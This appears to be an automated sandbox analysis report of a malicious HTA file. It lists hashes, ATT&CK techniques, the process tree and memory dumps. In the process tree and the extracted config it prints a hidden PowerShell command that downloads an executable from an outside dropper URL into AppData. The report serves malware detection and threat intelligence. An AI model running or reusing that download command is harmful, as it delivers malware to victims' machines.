5fa4cbe0983a59dddd8a58c33a5cebcc0742c24f59c08f1cf78deebca0672697

Analysis

max time kernel
95s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26/11/2024, 15:24

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General

Target
myguy.hta
Size 13KB
Sample241126-ss613stjek
SHA256 ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6
MD5 0487382a4daf8eb9660f1c67e30f8b25
SHA1 736752744122a0b5ee4b95ddad634dd225dc0f73
SHA512 e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106
SSDEEP 192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://french-cooking.com/myguy.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	3940	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3940	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1480	3124	WerFault.exe	81

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3940	powershell.exe
3940	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3124 wrote to memory of 3940	3124	mshta.exe	84
PID 3124 wrote to memory of 3940	3124	mshta.exe	84
PID 3124 wrote to memory of 3940	3124	mshta.exe	84

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\myguy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3124
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\59460.exe');
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3940
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 1360
  2⤵
  - Program crash
  PID:1480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3124 -ip 3124
1⤵
PID:4984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_hunmatu5.rkt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hunmatu5.rkt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3940-6-0x0000000005D00000-0x0000000005D66000-memory.dmp

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memory/3940-1-0x0000000002DC0000-0x0000000002DF6000-memory.dmp

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memory/3940-3-0x0000000070F00000-0x00000000716B0000-memory.dmp

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memory/3940-4-0x0000000070F00000-0x00000000716B0000-memory.dmp

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memory/3940-5-0x0000000005400000-0x0000000005422000-memory.dmp

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memory/3940-0-0x0000000070F0E000-0x0000000070F0F000-memory.dmp

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memory/3940-7-0x0000000005D70000-0x0000000005DD6000-memory.dmp

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memory/3940-2-0x0000000005660000-0x0000000005C88000-memory.dmp

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memory/3940-17-0x0000000005EE0000-0x0000000006234000-memory.dmp

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memory/3940-18-0x00000000063A0000-0x00000000063BE000-memory.dmp

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memory/3940-19-0x00000000063F0000-0x000000000643C000-memory.dmp

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memory/3940-20-0x0000000007A10000-0x000000000808A000-memory.dmp

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memory/3940-21-0x00000000068A0000-0x00000000068BA000-memory.dmp

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memory/3940-24-0x0000000070F00000-0x00000000716B0000-memory.dmp

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